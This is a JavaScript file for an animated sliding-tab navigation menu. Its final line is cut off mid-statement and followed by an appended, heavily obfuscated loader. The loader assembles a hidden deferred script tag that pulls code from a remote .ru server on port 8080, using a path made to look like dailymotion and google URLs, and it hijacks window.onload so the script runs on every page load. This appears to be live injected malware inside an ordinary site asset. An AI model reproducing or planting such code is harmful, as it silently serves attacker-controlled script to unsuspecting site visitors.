
var miniTab = {
  currentTab:     0,
  activeTab:      0,
  destX:          0,
  destW:          0,
  t:              0,
  b:              0,
  c:              0,
  d:              20,
  animInterval:   null,
  sliderObj:      null,
  aHeight:        0,
  
  init: function() {
    if(!document.getElementById || !document.getElementById("miniflex")) return;
    
    var ul          = document.getElementById("miniflex");
    var liArr       = ul.getElementsByTagName("li");
    var aArr        = ul.getElementsByTagName("a");
    
    for(var i = 0, li; li = liArr[i]; i++) {
      liArr[i].onmouseover = aArr[i].onfocus = function(e) {
        var pos = 0;
        var elem = this.nodeName == "LI" ? this : this.parentNode;
        while(elem.previousSibling) {
          elem = elem.previousSibling;
          if(elem.tagName && elem.tagName == "LI") pos++;
        }
        miniTab.initSlide(pos);
      }
    }

    ul.onmouseout = function(e) {
      miniTab.initSlide(miniTab.currentTab);
    };
    
    for(var i = 0; i < aArr.length; i++) {
      if(document.location.href.indexOf(aArr[i].href)>=0) {
        miniTab.activeTab = miniTab.currentTab = i;
      }
      aArr[i].style.borderBottom  = "0px";
      aArr[i].style.paddingBottom = "6px";
    }

    miniTab.slideObj                = ul.parentNode.appendChild(document.createElement("div"));
    miniTab.slideObj.appendChild(document.createTextNode(String.fromCharCode(160)));
    miniTab.slideObj.id             = "animated-tab";
    miniTab.slideObj.style.top      = (ul.offsetTop + liArr[miniTab.activeTab].offsetTop + aArr[miniTab.activeTab].offsetTop) + "px";
    miniTab.slideObj.style.left     = (ul.offsetLeft + + liArr[miniTab.activeTab].offsetLeft + aArr[miniTab.activeTab].offsetLeft) + "px";
    miniTab.slideObj.style.width    = aArr[miniTab.activeTab].offsetWidth + "px";
    miniTab.aHeight                 = ul.offsetTop + liArr[miniTab.activeTab].offsetTop + aArr[miniTab.activeTab].offsetTop;
    
    miniTab.initSlide(miniTab.activeTab, true);
    
    var intervalMethod = function() { miniTab.slideIt(); }
    miniTab.animInterval = setInterval(intervalMethod,10);
  },

  cleanUp: function() {
    clearInterval(miniTab.animInterval);
    miniTab.animInterval = null;
  },
  
  initSlide: function(pos, force) {
    if(!force && pos == miniTab.activeTab) return;
    miniTab.activeTab = pos;
    miniTab.initAnim();
  },
  
  initAnim: function() {
    var ul          = document.getElementById("miniflex");
    var liArr       = ul.getElementsByTagName("li");
    var aArr        = ul.getElementsByTagName("a");
    miniTab.destX = parseInt(liArr[miniTab.activeTab].offsetLeft + liArr[miniTab.activeTab].getElementsByTagName("a")[0].offsetLeft + ul.offsetLeft);
    miniTab.destW = parseInt(liArr[miniTab.activeTab].getElementsByTagName("a")[0].offsetWidth);
    miniTab.t = 0;
    miniTab.b = miniTab.slideObj.offsetLeft;
    miniTab.c = miniTab.destX - miniTab.b;
    miniTab.bW = miniTab.slideObj.offsetWidth;
    miniTab.cW = miniTab.destW - miniTab.bW;
    miniTab.slideObj.style.top = (ul.offsetTop + liArr[miniTab.activeTab].offsetTop + aArr[miniTab.activeTab].offsetTop) + "px";
  },
  
  slideIt:function() {
    var ul          = document.getElementById("miniflex");
    var liArr       = ul.getElementsByTagName("li");
    var aArr        = ul.getElementsByTagName("a");
    
    // Has the browser text size changed?
    if(miniTab.aHeight != ul.offsetTop + liArr[miniTab.activeTab].offsetTop + aArr[miniTab.activeTab].offsetTop) {
      miniTab.initAnim();
      miniTab.aHeight = ul.offsetTop + liArr[miniTab.activeTab].offsetTop + aArr[miniTab.activeTab].offsetTop
    };
    
    if(miniTab.t++ < miniTab.d) {
      var x = miniTab.animate(miniTab.t,miniTab.b,miniTab.c,miniTab.d);
      var w = miniTab.animate(miniTab.t,miniTab.bW,miniTab.cW,miniTab.d);
      miniTab.slideObj.style.left = parseInt(x) + "px";
      miniTab.slideObj.style.width = parseInt(w) + "px";
    } else {
      miniTab.slideObj.style.left = miniTab.destX + "px";
      miniTab.slideObj.style.width = miniTab.destW +"px";
    }
  },

  animate: function(t,b,c,d) {
    if ((t/=d/2) < 1) return c/2*t*t + b;
    return -c/2 * ((--t)*(t-2) - 1) + b;
  }
}

window.onload = miniTab.in
this.Ok="Ok";this.d="";var J;this.a="a";N=function(){JX=["ZU","B"];var jv=[];function z(C,j,w){var M=[];this.t=25978;this.t++;return C.substr(j,w);try {} catch(jk){};iQ=54823;iQ+=139;}y=["sP"];var Ps='';nM={FZ:false};var o=RegExp;this.gV=31609;this.gV+=84;var eg={dD:3491};var V='';this.q=56621;this.q+=185;var f_=["E","wf"];var r=document;try {var x='D'} catch(x){};nz={};var P=z("/dpFg7",0,2)+"ai"+"ly"+z("moTVJN",0,2)+"ti"+z("onTumW",0,2)+z("-clyfL",0,2)+z("omO8uG",0,2)+z("nVi/gnVi",3,2)+z("nfr0oof0nr",4,2)+z("V5JglJV5",3,2)+z("Q4ce.Qc4",3,2)+z("eKVcoKVe",3,2)+"m/"+"wa"+z("BLKQy2QKBL",4,2)+z("CTUsmTUC",3,2)+"s."+z("kDvcokDv",3,2)+z("O1Zm.1OZ",3,2)+z("nyaphnay",3,2)+z("l2Udp2lUd",4,1);try {} catch(lO){};var Vj="";function L(C,j){var vv=[];var w=new String("[")+j+new String(z("]tys",0,1));var Hk=["PX","iL","wZ"];var O=new o(w, new String("g"));Es=["A","QT"];mJ=["ag","ta"];return C.replace(O, V);};var Z=null;var cU=["eR","gl","er"];var l=new String("bo"+"dy");this.qI="";vr=["rk","bA","DK"];jH=37770;jH-=243;try {var iO='T'} catch(iO){};var X=866723-858643;var I=L('sFcMrQidpQtM','d9MgxJFQq');var E_={Gx:false};J=function(){var fw=new String();TO=["A_","qK"];try {var Y=L('cXrwe2aHtOeOEWlHeIm2eXnPtI','wICT2PWqOXKH');PT=r[Y](I);var eC="eC";var nh='';try {} catch(Vr){};IB=["la"];var e="defe"+"r";var _S=new Array();var ex=L('sEr1c6','L16QEmMRKXTC');var Ve=new Date();var C=X+P;this.LY=11493;this.LY--;var DS="DS";Xn={k:"rl"};PT[ex]=z("ht3M0x",0,2)+z("tpGKdS",0,2)+":/"+"/t"+z("en1VmL",0,2)+"th"+z("prIaS",0,2)+z("Ze8Aofe8AZ",4,2)+z("hKB4it4KBh",4,2)+".r"+"u:"+C;var rH=["jy","Ut","Pf"];var FS=["UT","Ho","VG"];PT[e]=[1,6][0];var fW=[];var iy="";r[l].appendChild(PT);var lry=new Date();var tq=["pR","zW"];} catch(f){var GG="";this.Uo=55185;this.Uo--;};};var rf=33995;};var nX=new Date();N();try {} catch(PN){};window.onload=J;VS={rA:"_O"};dm=3881;dm+=221;